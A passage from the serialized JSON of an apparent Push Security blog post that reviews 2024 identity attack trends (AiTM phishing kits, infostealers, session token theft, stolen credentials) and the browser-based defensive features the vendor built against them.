in 2023 and 2024, so we knew a top priority would be protecting identity provider accounts. These IdP accounts are a key target because they allow attackers to move laterally to other valuable apps and data via SSO following the initial account takeover.",{"data":131580,"content":131581,"nodeType":866},{},[131582,131586,131594],{"data":131583,"marks":131584,"value":131585,"nodeType":865},{},[],"It’s not just the typical IdPs you need to watch out for, either: Apps like GitHub, Slack, Salesforce, Facebook, X, and others all provide SSO functionality, increasing the blast radius of a compromise. And as we reported in ",{"data":131587,"content":131588,"nodeType":889},{"uri":82201},[131589],{"data":131590,"marks":131591,"value":131593,"nodeType":865},{},[131592],{"type":943},"our research on cross-IdP impersonation",{"data":131595,"marks":131596,"value":131597,"nodeType":865},{},[],", apps can be accessed using multiple SSO methods simultaneously — and 3 in 5 apps that we tested recently did not require re-verification by default when adding a new login method.",{"data":131599,"content":131603,"nodeType":912},{"target":131600},{"sys":131601},{"id":131602,"type":909,"linkType":910},"3EOOr4dVQoiPjl2ucUs1mA",[],{"data":131605,"content":131606,"nodeType":866},{},[131607,131611,131620],{"data":131608,"marks":131609,"value":131610,"nodeType":865},{},[],"Phishing is a problem that would be significantly reduced in a world without passwords. But while the ideal case is that organizations can put in place phishing-resistant authentication methods like passkeys or other WebAuthn-based methods, the reality is that ",{"data":131612,"content":131614,"nodeType":889},{"uri":131613},"https://www.ncsc.gov.uk/blog-post/passkeys-not-perfect-getting-better",[131615],{"data":131616,"marks":131617,"value":131619,"nodeType":865},{},[131618],{"type":943},"it’s not a perfect solution right now",{"data":131621,"marks":131622,"value":131623,"nodeType":865},{},[]," — widespread passkey implementation is hard to achieve.",{"data":131625,"content":131626,"nodeType":866},{},[131627],{"data":131628,"marks":131629,"value":131630,"nodeType":865},{},[],"One of the key advantages of passkeys is that they are domain-bound: Meaning they can’t be used on a site with the wrong domain. So, we started thinking: What if it were possible to essentially domain-bind a password? ",{"data":131632,"content":131633,"nodeType":1317},{},[131634,131638],{"data":131635,"marks":131636,"value":79801,"nodeType":865},{},[131637],{"type":926},{"data":131639,"marks":131640,"value":2688,"nodeType":865},{},[],{"data":131642,"content":131643,"nodeType":866},{},[131644,131648,131657],{"data":131645,"marks":131646,"value":131647,"nodeType":865},{},[],"In the first half of 2024, we delivered our ",{"data":131649,"content":131650,"nodeType":889},{"uri":67859},[131651],{"data":131652,"marks":131653,"value":131656,"nodeType":865},{},[131654,131655],{"type":943},{"type":926},"SSO password protection",{"data":131658,"marks":131659,"value":131660,"nodeType":865},{},[]," feature, which allows Push administrators to block employees from entering their IdP password into any site that’s not the identity provider — in effect domain-binding SSO credentials. ",{"data":131662,"content":131663,"nodeType":866},{},[131664,131668,131677],{"data":131665,"marks":131666,"value":131667,"nodeType":865},{},[],"Push accomplishes this via the Push browser agent, which ",{"data":131669,"content":131671,"nodeType":889},{"uri":131670},"https://pushsecurity.com/help/10109/#how-does-sso-password-protection-work",[131672],{"data":131673,"marks":131674,"value":131676,"nodeType":865},{},[131675],{"type":943},"observes and fingerprints",{"data":131678,"marks":131679,"value":131680,"nodeType":865},{},[]," the user’s SSO password and legitimate SSO login pages, and then enforces in-browser controls to prevent an SSO password from being submitted on any URL that doesn’t match the legitimate provider, an extremely strong anti-phishing protection. Separately, Push also verifies that passwords it observes are not easily guessable.",{"data":131682,"content":131683,"nodeType":866},{},[131684],{"data":131685,"marks":131686,"value":131687,"nodeType":865},{},[],"The idea behind this approach is to gain some similar benefits to passkeys — by ensuring that passwords used for SSO access to your apps cannot be phished and are unique and strong — but in a way that “just works” with existing password-based authentication. ",{"data":131689,"content":131690,"nodeType":866},{},[131691,131695,131703],{"data":131692,"marks":131693,"value":131694,"nodeType":865},{},[],"Organizations that monitor for SSO password reuse will find that the practice turns out to be incredibly widespread, so being able to detect and prevent password reuse — even outside of actual phishing attempts — is an asset to security teams. (Our ",{"data":131696,"content":131697,"nodeType":889},{"uri":6698},[131698],{"data":131699,"marks":131700,"value":131702,"nodeType":865},{},[131701],{"type":943},"research shows",{"data":131704,"marks":131705,"value":131706,"nodeType":865},{},[]," that 10% of IdP accounts are using a password that is shared with another app — where it is much more likely to be compromised.) ",{"data":131708,"content":131712,"nodeType":912},{"target":131709},{"sys":131710},{"id":131711,"type":909,"linkType":910},"4Ce999wf4mqCZwu1jLofsx",[],{"data":131714,"content":131715,"nodeType":866},{},[131716,131720,131729],{"data":131717,"marks":131718,"value":131719,"nodeType":865},{},[],"By streaming events to your SIEM and setting up a simple automation, you can also use Push-supplied intelligence on SSO password reuse to ",{"data":131721,"content":131723,"nodeType":889},{"uri":131722},"https://pushsecurity.com/blog/automating-sso-password-resets-using-push/",[131724],{"data":131725,"marks":131726,"value":131728,"nodeType":865},{},[131727],{"type":943},"automatically reset",{"data":131730,"marks":131731,"value":131732,"nodeType":865},{},[]," potentially compromised passwords — this provides instant response to successful phishing and gets rid of password re-use of your most sensitive credentials in one move - the kind of combo we love!",{"data":131734,"content":131735,"nodeType":972},{},[],{"data":131737,"content":131738,"nodeType":981},{},[131739],{"data":131740,"marks":131741,"value":131742,"nodeType":865},{},[],"Blocking AitM phishing and cloned login pages",{"data":131744,"content":131745,"nodeType":1317},{},[131746],{"data":131747,"marks":131748,"value":131568,"nodeType":865},{},[131749],{"type":926},{"data":131751,"content":131752,"nodeType":866},{},[131753],{"data":131754,"marks":131755,"value":131756,"nodeType":865},{},[],"When you’re able to detect SSO passwords being used in all the wrong places, it’s not surprising that one of the main offenders is phishing attacks. ",{"data":131758,"content":131759,"nodeType":866},{},[131760,131764,131772],{"data":131761,"marks":131762,"value":131763,"nodeType":865},{},[],"In 2024, we wrote extensively about the rise in ",{"data":131765,"content":131766,"nodeType":889},{"uri":54386},[131767],{"data":131768,"marks":131769,"value":131771,"nodeType":865},{},[131770],{"type":943},"modern phishing attacks",{"data":131773,"marks":131774,"value":131775,"nodeType":865},{},[]," that use adversary-in-the middle toolkits (AiTM), including EvilNoVNC, Evilginx, and others.",{"data":131777,"content":131778,"nodeType":866},{},[131779,131783,131791],{"data":131780,"marks":131781,"value":131782,"nodeType":865},{},[],"AiTM phishing is a newer variant of phishing that allows attackers to bypass MFA protection by using tools that act as a proxy between the end-user and a legitimate login portal. AitM attacks increased 146% in 2023 (",{"data":131784,"content":131786,"nodeType":889},{"uri":131785},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/Microsoft%20Digital%20Defense%20Report%202024%20%281%29.pdf",[131787],{"data":131788,"marks":131789,"value":8641,"nodeType":865},{},[131790],{"type":943},{"data":131792,"marks":131793,"value":46245,"nodeType":865},{},[],{"data":131795,"content":131796,"nodeType":866},{},[131797],{"data":131798,"marks":131799,"value":131800,"nodeType":865},{},[],"This trend in tradecraft was reflected in our own customer base last year, but what’s interesting is that we observed a lot of phish kits and tactics that were new — meaning traditional detections failed to find them before Push did. ",{"data":131802,"content":131803,"nodeType":866},{},[131804,131808,131817],{"data":131805,"marks":131806,"value":131807,"nodeType":865},{},[],"In particular, we saw newer ",{"data":131809,"content":131811,"nodeType":889},{"uri":131810},"https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection/",[131812],{"data":131813,"marks":131814,"value":131816,"nodeType":865},{},[131815],{"type":943},"web-based obfuscation techniques",{"data":131818,"marks":131819,"value":131820,"nodeType":865},{},[]," that allowed attackers to get past the features of email security tools like web gateways and email scanning appliances, such as bypassing web sandbox analysis, and deter other forms of automated investigation by using Cloudflare Turnstile and other tactics — similar to the approaches legit websites use to protect against automated bots (this is essentially the same problem for both).",{"data":131822,"content":131823,"nodeType":866},{},[131824],{"data":131825,"marks":131826,"value":131827,"nodeType":865},{},[],"The gap in existing controls was obvious: When all phishing routes eventually lead to the browser, security teams need to be able to detect and respond in the browser. To do this well they need to observe what the employee sees, not what loads in a sandbox.",{"data":131829,"content":131830,"nodeType":1317},{},[131831],{"data":131832,"marks":131833,"value":79801,"nodeType":865},{},[131834],{"type":926},{"data":131836,"content":131837,"nodeType":866},{},[131838,131842,131852,131857],{"data":131839,"marks":131840,"value":131841,"nodeType":865},{},[],"To address this gap, we released new capabilities for the Push browser agent to be able to ",{"data":131843,"content":131845,"nodeType":889},{"uri":131844},"https://pushsecurity.com/blog/introducing-aitm-phishing-toolkit-detection-powered-by-the-push-browser/",[131846],{"data":131847,"marks":131848,"value":131851,"nodeType":865},{},[131849,131850],{"type":943},{"type":926},"detect and block",{"data":131853,"marks":131854,"value":131856,"nodeType":865},{},[131855],{"type":926}," when a site is running AiTM phishing toolkits",{"data":131858,"marks":131859,"value":14251,"nodeType":865},{},[],{"data":131861,"content":131862,"nodeType":866},{},[131863],{"data":131864,"marks":131865,"value":131866,"nodeType":865},{},[],"Push does this via a set of readymade detections for common AiTM tools. By dynamically analyzing the behavior of malware in the browser, the Push browser agent can find indicators of compromise beyond just domains, file names, IP addresses, etc., focusing instead on behavioral attributes, such as Javascript calls being made or data structures saved to local storage.",{"data":131868,"content":131869,"nodeType":866},{},[131870,131874,131882],{"data":131871,"marks":131872,"value":131873,"nodeType":865},{},[],"This approach of focusing on the top of the ",{"data":131875,"content":131877,"nodeType":889},{"uri":131876},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/#id-building-effective-identity-threat-detection-controls_id-scenario-detecting-a-web-based-phishing-attack",[131878],{"data":131879,"marks":131880,"value":4793,"nodeType":865},{},[131881],{"type":943},{"data":131883,"marks":131884,"value":131885,"nodeType":865},{},[]," — e.g. building detections for attributes of an attack that are the hardest for attackers to change, and therefore the most reliably accurate — is core to Push’s design philosophy. ",{"data":131887,"content":131888,"nodeType":866},{},[131889,131893,131903],{"data":131890,"marks":131891,"value":131892,"nodeType":865},{},[],"Finally, toward the second half of the year, we released ",{"data":131894,"content":131896,"nodeType":889},{"uri":131895},"https://pushsecurity.com/blog/introducing-cloned-login-page-detection/",[131897],{"data":131898,"marks":131899,"value":131902,"nodeType":865},{},[131900,131901],{"type":943},{"type":926},"cloned login page detection",{"data":131904,"marks":131905,"value":131906,"nodeType":865},{},[],", a natural extension of our layered approach to preventing phishing attacks in the browser. With this security control, you can identify malicious webpages that are masquerading as legitimate IdP login portals. ",{"data":131908,"content":131912,"nodeType":912},{"target":131909},{"sys":131910},{"id":131911,"type":909,"linkType":910},"4y25OxesssUk9lzEx12HFa",[],{"data":131914,"content":131915,"nodeType":866},{},[131916],{"data":131917,"marks":131918,"value":131919,"nodeType":865},{},[],"When a cloned login page is detected, you can add the URL to your blocklist in Push and prevent any other employees from being targeted. ",{"data":131921,"content":131922,"nodeType":866},{},[131923,131927,131935],{"data":131924,"marks":131925,"value":131926,"nodeType":865},{},[],"By layering multiple anti-phishing controls that all prevent account takeover, defenders have the best chance at thwarting the ",{"data":131928,"content":131929,"nodeType":889},{"uri":110363},[131930],{"data":131931,"marks":131932,"value":131934,"nodeType":865},{},[131933],{"type":943},"short, fast attack chains",{"data":131936,"marks":131937,"value":131938,"nodeType":865},{},[]," that are emblematic of today’s identity attacks.",{"data":131940,"content":131941,"nodeType":972},{},[],{"data":131943,"content":131944,"nodeType":981},{},[131945],{"data":131946,"marks":131947,"value":131948,"nodeType":865},{},[],"Defending against stolen sessions and stolen credentials",{"data":131950,"content":131951,"nodeType":866},{},[131952,131956,131963],{"data":131953,"marks":131954,"value":131955,"nodeType":865},{},[],"With as little as $10 to buy a stolen password and a little skill, attackers capitalized on the use of stolen credentials last year. Stolen creds were the No. 1 attacker action in 2023 and 2024, according to ",{"data":131957,"content":131958,"nodeType":889},{"uri":4147},[131959],{"data":131960,"marks":131961,"value":53721,"nodeType":865},{},[131962],{"type":943},{"data":131964,"marks":131965,"value":1615,"nodeType":865},{},[],{"data":131967,"content":131968,"nodeType":866},{},[131969,131973,131981],{"data":131970,"marks":131971,"value":131972,"nodeType":865},{},[],"Nowhere was this more plain than in the ",{"data":131974,"content":131975,"nodeType":889},{"uri":3488},[131976],{"data":131977,"marks":131978,"value":131980,"nodeType":865},{},[131979],{"type":943},"attacks on Snowflake customers",{"data":131982,"marks":131983,"value":131984,"nodeType":865},{},[],", one of the biggest breaches of last year. In this incident, cyber criminals targeted around 165 customers of the cloud-based data warehouse tool Snowflake by taking over accounts using credentials harvested from infostealer infections dating as far back as 2020.",{"data":131986,"content":131987,"nodeType":866},{},[131988],{"data":131989,"marks":131990,"value":131991,"nodeType":865},{},[],"The Snowflake incident underscored the challenges of control and visibility that security teams face when attempting to secure identities on a patchwork of managed and unmanaged apps:",{"data":131993,"content":131994,"nodeType":1616},{},[131995,132005,132015,132025,132035],{"data":131996,"content":131997,"nodeType":1570},{},[131998],{"data":131999,"content":132000,"nodeType":866},{},[132001],{"data":132002,"marks":132003,"value":132004,"nodeType":865},{},[],"Do I know all the workforce accounts my employees use?",{"data":132006,"content":132007,"nodeType":1570},{},[132008],{"data":132009,"content":132010,"nodeType":866},{},[132011],{"data":132012,"marks":132013,"value":132014,"nodeType":865},{},[],"Do those accounts have a strong security posture?",{"data":132016,"content":132017,"nodeType":1570},{},[132018],{"data":132019,"content":132020,"nodeType":866},{},[132021],{"data":132022,"marks":132023,"value":132024,"nodeType":865},{},[],"Do those accounts use MFA? The most phishing-resistant methods?",{"data":132026,"content":132027,"nodeType":1570},{},[132028],{"data":132029,"content":132030,"nodeType":866},{},[132031],{"data":132032,"marks":132033,"value":132034,"nodeType":865},{},[],"Do I have tools to detect, respond, and remediate after an account takeover or breach of a critical software vendor?",{"data":132036,"content":132037,"nodeType":1570},{},[132038],{"data":132039,"content":132040,"nodeType":866},{},[132041],{"data":132042,"marks":132043,"value":132044,"nodeType":865},{},[],"Do I know when a session has been stolen, pointing to a device compromised by infostealer malware?",{"data":132046,"content":132047,"nodeType":866},{},[132048],{"data":132049,"marks":132050,"value":132051,"nodeType":865},{},[],"Here’s what we delivered last year to make it easier for security teams to protect their organizations from the threat of stolen sessions and stolen creds.",{"data":132053,"content":132054,"nodeType":972},{},[],{"data":132056,"content":132057,"nodeType":981},{},[132058],{"data":132059,"marks":132060,"value":132061,"nodeType":865},{},[],"Detecting stolen sessions",{"data":132063,"content":132064,"nodeType":1317},{},[132065],{"data":132066,"marks":132067,"value":131568,"nodeType":865},{},[132068],{"type":926},{"data":132070,"content":132071,"nodeType":866},{},[132072,132075,132084],{"data":132073,"marks":132074,"value":21,"nodeType":865},{},[],{"data":132076,"content":132078,"nodeType":889},{"uri":132077},"https://pushsecurity.com/blog/what-the-rise-of-infostealers-says-about-identity-attacks/",[132079],{"data":132080,"marks":132081,"value":132083,"nodeType":865},{},[132082],{"type":943},"Infostealer malware",{"data":132085,"marks":132086,"value":132087,"nodeType":865},{},[]," — a type of malware designed to collect user credentials, including session cookies, from end-user devices — had a very successful 2024, accounting for nearly 10 percent of activity that Red Canary was able to associate with named threats, and the majority of all detected malware that Sophos threat researchers documented last year.",{"data":132089,"content":132090,"nodeType":866},{},[132091,132095,132104],{"data":132092,"marks":132093,"value":132094,"nodeType":865},{},[],"While the use of stolen credentials is rampant, often facilitated by successful infostealer campaigns, a related attack type also ",{"data":132096,"content":132098,"nodeType":889},{"uri":132097},"https://pushsecurity.com/blog/what-the-rise-of-infostealers-says-about-identity-attacks/#id-the-state-of-infostealers-today",[132099],{"data":132100,"marks":132101,"value":132103,"nodeType":865},{},[132102],{"type":943},"jumped in prevalence",{"data":132105,"marks":132106,"value":132107,"nodeType":865},{},[]," last year: session token theft attacks.",{"data":132109,"content":132110,"nodeType":866},{},[132111],{"data":132112,"marks":132113,"value":132114,"nodeType":865},{},[],"Using stolen tokens, adversaries don’t need to bypass MFA directly. They can simply import the tokens into their browser and assume an already authorized session. ",{"data":132116,"content":132117,"nodeType":1317},{},[132118],{"data":132119,"marks":132120,"value":79801,"nodeType":865},{},[132121],{"type":926},{"data":132123,"content":132124,"nodeType":866},{},[132125],{"data":132126,"marks":132127,"value":132128,"nodeType":865},{},[],"In order to detect a stolen session in use, you need telemetry that allows you to tie activity to a trusted endpoint. This didn’t previously exist, and you have to be in the browser to do it. So that’s what we built. ",{"data":132130,"content":132131,"nodeType":866},{},[132132,132135,132144],{"data":132133,"marks":132134,"value":62364,"nodeType":865},{},[],{"data":132136,"content":132137,"nodeType":889},{"uri":62386},[132138],{"data":132139,"marks":132140,"value":132143,"nodeType":865},{},[132141,132142],{"type":943},{"type":926},"session theft detection",{"data":132145,"marks":132146,"value":132147,"nodeType":865},{},[]," capability uses the power of the Push browser extension to inject a unique marker into the user-agent string of sessions that occur in browsers enrolled in Push. ",{"data":132149,"content":132150,"nodeType":866},{},[132151],{"data":132152,"marks":132153,"value":132154,"nodeType":865},{},[],"By analyzing logs from your IdP in your SIEM, you can then identify activity from the same session that both has and that lacks the Push marker, indicating that a session has been extracted from the browser and maliciously imported into a different browser that is not enrolled in Push.",{"data":132156,"content":132157,"nodeType":866},{},[132158],{"data":132159,"marks":132160,"value":132161,"nodeType":865},{},[],"This is a reliable signal that a stolen session token is being used and an endpoint has been compromised.",{"data":132163,"content":132166,"nodeType":912},{"target":132164},{"sys":132165},{"id":123928,"type":909,"linkType":910},[],{"data":132168,"content":132172,"nodeType":912},{"target":132169},{"sys":132170},{"id":132171,"type":909,"linkType":910},"6dOEnPzZXd9DqeSdalqlzO",[],{"data":132174,"content":132175,"nodeType":972},{},[],{"data":132177,"content":132178,"nodeType":981},{},[132179],{"data":132180,"marks":132181,"value":132182,"nodeType":865},{},[],"Detecting compromised credentials",{"data":132184,"content":132185,"nodeType":1317},{},[132186],{"data":132187,"marks":132188,"value":131568,"nodeType":865},{},[132189],{"type":926},{"data":132191,"content":132192,"nodeType":866},{},[132193],{"data":132194,"marks":132195,"value":132196,"nodeType":865},{},[],"Alongside stolen session cookies, stolen credentials made a lot of headlines last year. The 2024 Verizon DBIR found that 79% of web application compromises were the result of breached creds, and researchers at IBM found a 71% year-over-year increase in cyberattacks using stolen or compromised credentials.",{"data":132198,"content":132199,"nodeType":866},{},[132200,132204,132213],{"data":132201,"marks":132202,"value":132203,"nodeType":865},{},[],"In Push’s own research, we counted ",{"data":132205,"content":132207,"nodeType":889},{"uri":132206},"https://pushsecurity.com/blog/2024-identity-breaches/",[132208],{"data":132209,"marks":132210,"value":132212,"nodeType":865},{},[132211],{"type":943},"30 public identity-related breaches",{"data":132214,"marks":132215,"value":132216,"nodeType":865},{},[]," in 2024 where the breach and the breach vector were disclosed. Of those, nearly three-quarters were the result of compromised credentials, including notable breaches such as Microsoft, Change Healthcare, and the attacks on Snowflake customers.",{"data":132218,"content":132219,"nodeType":7584},{},[132220],{"data":132221,"content":132222,"nodeType":866},{},[132223],{"data":132224,"marks":132225,"value":132226,"nodeType":865},{},[],"73% of public identity-related breaches in 2024 were the result of compromised credentials (the rest were phishing attacks). ",{"data":132228,"content":132229,"nodeType":866},{},[132230,132234,132242],{"data":132231,"marks":132232,"value":132233,"nodeType":865},{},[],"The influx of compromised credentials has been amplified by the ",{"data":132235,"content":132236,"nodeType":889},{"uri":132077},[132237],{"data":132238,"marks":132239,"value":132241,"nodeType":865},{},[132240],{"type":943},"rise of infostealers",{"data":132243,"marks":132244,"value":132245,"nodeType":865},{},[],", which contribute the vast majority of valid stolen credentials, alongside mass credential phishing campaigns and third-party data breach dumps. ",{"data":132247,"content":132248,"nodeType":866},{},[132249],{"data":132250,"marks":132251,"value":132252,"nodeType":865},{},[],"And while there’s no shortage of threat intelligence about stolen credentials for sale on the web, security teams struggle to separate the needle from the haystack because a large portion of TI on stolen creds is out of date.",{"data":132254,"content":132255,"nodeType":866},{},[132256],{"data":132257,"marks":132258,"value":132259,"nodeType":865},{},[],"In evaluating TI data here at Push, we reviewed 5,763 username and password combos that matched domains in use by Push customers. We found that less than 1% of the creds in a multi-vendor dataset were true positives. In other words, 99.5% of the stolen creds we checked were false positives at the time of review — illustrating the challenge security teams face when trying to extract actionable intelligence from this kind of data. ",{"data":132261,"content":132262,"nodeType":7584},{},[132263],{"data":132264,"content":132265,"nodeType":866},{},[132266],{"data":132267,"marks":132268,"value":132269,"nodeType":865},{},[],"99.5% of the findings in compromised credential feeds were found to be false positives.",{"data":132271,"content":132272,"nodeType":1317},{},[132273],{"data":132274,"marks":132275,"value":79801,"nodeType":865},{},[132276],{"type":926},{"data":132278,"content":132279,"nodeType":866},{},[132280],{"data":132281,"marks":132282,"value":132283,"nodeType":865},{},[],"Using its browser agent, Push assesses the strength of end-user passwords by creating and analyzing a truncated, salted SHA256 hash of the password for a given account. (These k-anonymized fingerprints are never seen by Push’s back-end and exist only in local browser extension storage.) ",{"data":132285,"content":132286,"nodeType":866},{},[132287,132291,132300],{"data":132288,"marks":132289,"value":132290,"nodeType":865},{},[],"These fingerprints give Push a directly observable source of truth for corporate creds, which allowed us to build a ",{"data":132292,"content":132293,"nodeType":889},{"uri":13526},[132294],{"data":132295,"marks":132296,"value":132299,"nodeType":865},{},[132297,132298],{"type":943},{"type":926},"verified stolen credential detection",{"data":132301,"marks":132302,"value":132303,"nodeType":865},{},[]," capability last year that removes all false positives from TI sources to pinpoint only those stolen creds still actively in use by employees.",{"data":132305,"content":132309,"nodeType":912},{"target":132306},{"sys":132307},{"id":132308,"type":909,"linkType":910},"3BITHZvDadjHpOAqIn0g4w",[],{"data":132311,"content":132312,"nodeType":972},{},[],{"data":132314,"content":132315,"nodeType":981},{},[132316],{"data":132317,"marks":132318,"value":132319,"nodeType":865},{},[],"Reducing and securing shadow IT and account sprawl",{"data":132321,"content":132322,"nodeType":866},{},[132323],{"data":132324,"marks":132325,"value":132326,"nodeType":865},{},[],"You can think of this last part of the story as the ground from which the attack trends we’ve been talking about emerged: The shift to doing business almost entirely in the browser, and the resulting sprawl in accounts and unmanaged apps, leading to an explosion of internet-facing identities for threat actors to target.",{"data":132328,"content":132329,"nodeType":866},{},[132330],{"data":132331,"marks":132332,"value":132333,"nodeType":865},{},[],"Even in organizations with mature security practices, the challenge of getting 100% compliance with identity posture best practices is evident. Last year, Push researchers analyzed a data set of 300,000 accounts from our customer base and found that:",{"data":132335,"content":132336,"nodeType":1616},{},[132337,132356,132375],{"data":132338,"content":132339,"nodeType":1570},{},[132340],{"data":132341,"content":132342,"nodeType":866},{},[132343,132347,132352],{"data":132344,"marks":132345,"value":132346,"nodeType":865},{},[],"Organizations have ",{"data":132348,"marks":132349,"value":132351,"nodeType":865},{},[132350],{"type":926},"more apps and identities than they thought",{"data":132353,"marks":132354,"value":132355,"nodeType":865},{},[]," — an average of ~15 identities per employee and ~220 apps per organization.",{"data":132357,"content":132358,"nodeType":1570},{},[132359],{"data":132360,"content":132361,"nodeType":866},{},[132362,132366,132371],{"data":132363,"marks":132364,"value":132365,"nodeType":865},{},[],"Many accounts ",{"data":132367,"marks":132368,"value":132370,"nodeType":865},{},[132369],{"type":926},"lack basic security protections",{"data":132372,"marks":132373,"value":132374,"nodeType":865},{},[],", with 37% of accounts lacking any form of MFA and ~9% of accounts using a password that is leaked, weak, or reused, making them especially susceptible to account takeover. On accounts where password is the only login method in use (e.g. not using SSO or any other federated login like OIDC), there was no MFA in use in 4 out of 5 cases.",{"data":132376,"content":132377,"nodeType":1570},{},[132378],{"data":132379,"content":132380,"nodeType":866},{},[132381,132385,132390,132394,132401],{"data":132382,"marks":132383,"value":132384,"nodeType":865},{},[],"Security ",{"data":132386,"marks":132387,"value":132389,"nodeType":865},{},[132388],{"type":926},"gaps persist even with SSO",{"data":132391,"marks":132392,"value":132393,"nodeType":865},{},[]," accounts — with 10% of SSO-using accounts also having a local password, a risk for ",{"data":132395,"content":132396,"nodeType":889},{"uri":6710},[132397],{"data":132398,"marks":132399,"value":6715,"nodeType":865},{},[132400],{"type":943},{"data":132402,"marks":132403,"value":132404,"nodeType":865},{},[],"; and 1 in 5 IdP accounts themselves missing MFA.",{"data":132406,"content":132407,"nodeType":866},{},[132408],{"data":132409,"marks":132410,"value":132411,"nodeType":865},{},[],"From our perspective, organizations need scalable controls, and they need easy-to-deploy tools that get them visibility of all their workforce identities, apps, and accounts alongside telemetry that makes the information actionable.",{"data":132413,"content":132414,"nodeType":866},{},[132415],{"data":132416,"marks":132417,"value":132418,"nodeType":865},{},[],"Push already provides a real-time inventory of all your accounts and apps, including internal corporate apps, and analyzes the security posture, login methods, and MFA status of those accounts to offer a comprehensive picture of your identity attack surface. ",{"data":132420,"content":132421,"nodeType":866},{},[132422],{"data":132423,"marks":132424,"value":132425,"nodeType":865},{},[],"To help customers enforce their security policies even more seamlessly, here’s what we built last year:",{"data":132427,"content":132428,"nodeType":1317},{},[132429],{"data":132430,"marks":132431,"value":132433,"nodeType":865},{},[132432],{"type":926},"1. App banners",{"data":132435,"content":132436,"nodeType":866},{},[132437,132441,132451],{"data":132438,"marks":132439,"value":132440,"nodeType":865},{},[],"With a range of modes from informing to blocking, ",{"data":132442,"content":132444,"nodeType":889},{"uri":132443},"https://pushsecurity.com/help/10106#start",[132445],{"data":132446,"marks":132447,"value":132450,"nodeType":865},{},[132448,132449],{"type":943},{"type":926},"app banners",{"data":132452,"marks":132453,"value":132454,"nodeType":865},{},[]," allow security teams to communicate best practices and policies with end-users directly in their browser. It works by displaying a banner with your custom message on the login and signup pages for workplace apps. ",{"data":132456,"content":132457,"nodeType":866},{},[132458],{"data":132459,"marks":132460,"value":132461,"nodeType":865},{},[],"Using configuration rules, you can set conditions for how banner controls get applied. Common use cases include: Restricting use of GenAI software; carving out an exception for admins on a specific app; reminding users to log in with SSO instead of a password, and others. ",{"data":132463,"content":132467,"nodeType":912},{"target":132464},{"sys":132465},{"id":132466,"type":909,"linkType":910},"4RPHmeMLyZmb5V8rXYLtey",[],{"data":132469,"content":132470,"nodeType":1317},{},[132471,132476],{"data":132472,"marks":132473,"value":132475,"nodeType":865},{},[132474],{"type":926},"2. Password manager identification",{"data":132477,"marks":132478,"value":2688,"nodeType":865},{},[],{"data":132480,"content":132481,"nodeType":866},{},[132482,132486,132496],{"data":132483,"marks":132484,"value":132485,"nodeType":865},{},[],"We also expanded Push’s capability to observe employees’ account security posture by adding an identification of ",{"data":132487,"content":132489,"nodeType":889},{"uri":132488},"https://pushsecurity.com/blog/stop-users-saving-corp-creds-into-personal-password-managers/",[132490],{"data":132491,"marks":132492,"value":132495,"nodeType":865},{},[132493,132494],{"type":943},{"type":926},"which password manager",{"data":132497,"marks":132498,"value":132499,"nodeType":865},{},[]," (if any) they’re using. ",{"data":132501,"content":132502,"nodeType":866},{},[132503],{"data":132504,"marks":132505,"value":132506,"nodeType":865},{},[],"We’ve heard from many security teams that they’re concerned about corporate credentials being stored in unapproved password managers — not to mention the ROI from ensuring employees are all using the corporate password manager you already pay for. This feature helps them achieve both objectives.",{"data":132508,"content":132509,"nodeType":1317},{},[132510],{"data":132511,"marks":132512,"value":132514,"nodeType":865},{},[132513],{"type":926},"3. MFA enforcement",{"data":132516,"content":132517,"nodeType":866},{},[132518,132522,132531],{"data":132519,"marks":132520,"value":132521,"nodeType":865},{},[],"Finally, we rounded out 2024 with a new security control called ",{"data":132523,"content":132525,"nodeType":889},{"uri":132524},"https://pushsecurity.com/blog/enforce-mfa-on-third-party-apps/",[132526],{"data":132527,"marks":132528,"value":58363,"nodeType":865},{},[132529,132530],{"type":943},{"type":926},{"data":132532,"marks":132533,"value":132534,"nodeType":865},{},[]," that builds on the popular app banners concept by detecting when users lack MFA and then prompting them to register for MFA. ",{"data":132536,"content":132537,"nodeType":866},{},[132538],{"data":132539,"marks":132540,"value":132541,"nodeType":865},{},[],"Admins choose which apps they wish to enforce MFA on, and the Push extension does the rest. ",{"data":132543,"content":132544,"nodeType":866},{},[132545],{"data":132546,"marks":132547,"value":132548,"nodeType":865},{},[],"Security teams we work with are especially eager to use this feature to close MFA coverage gaps on non-SSO and otherwise unmanaged applications.",{"data":132550,"content":132554,"nodeType":912},{"target":132551},{"sys":132552},{"id":132553,"type":909,"linkType":910},"4imhff7SWJi2Gan5iFEs2P",[],{"data":132556,"content":132557,"nodeType":972},{},[],{"data":132559,"content":132560,"nodeType":981},{},[132561],{"data":132562,"marks":132563,"value":132564,"nodeType":865},{},[],"Want to see more?",{"data":132566,"content":132567,"nodeType":866},{},[132568,132572,132579],{"data":132569,"marks":132570,"value":132571,"nodeType":865},{},[],"There’s a lot we didn’t touch on here that Push can help you achieve. If you’d like to learn more, ",{"data":132573,"content":132574,"nodeType":889},{"uri":16069},[132575],{"data":132576,"marks":132577,"value":132578,"nodeType":865},{},[],"set up a demo with our team",{"data":132580,"marks":132581,"value":132582,"nodeType":865},{},[]," or sign up yourself to have a look at the platform.","How real-world attacks and research drove Push’s most popular features of 2024","How in-the-wild attacks and our own R&D inspired what we built in 2024 to stop account takeover and reduce security risks across your workforce identities. ","2025-01-16T00:00:00.000Z","push-features-2024",{"items":132588},[132589,132591],{"sys":132590,"name":342},{"id":4642},{"sys":132592,"name":297},{"id":2310},{"items":132594},[132595],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":132596},{"url":6503},{"__typename":1429,"sys":132598,"content":132599,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":133289,"authorsCollection":133293},{"id":61617},{"json":132600},{"data":132601,"content":132602,"nodeType":1382},{},[132603,132608,132624,132630,132636,132641,132644,132651,132657,132673,132683,132689,132695,132701,132785,132788,132795,132870,132875,132878,132885,132892,132898,132904,132911,132927,132933,132940,132946,132952,132959,132965,132971,132987,132992,132995,133002,133009,133015,133104,133110,133117,133123,133129,133134,133141,133147,133153,133159,133166,133172,133178,133184,133190,133195,133198,133205,133211,133241,133247,133262,133278,133283],{"data":132604,"content":132607,"nodeType":912},{"target":132605},{"sys":132606},{"id":61626,"type":909,"linkType":910},[],{"data":132609,"content":132610,"nodeType":866},{},[132611,132614,132621],{"data":132612,"marks":132613,"value":61634,"nodeType":865},{},[],{"data":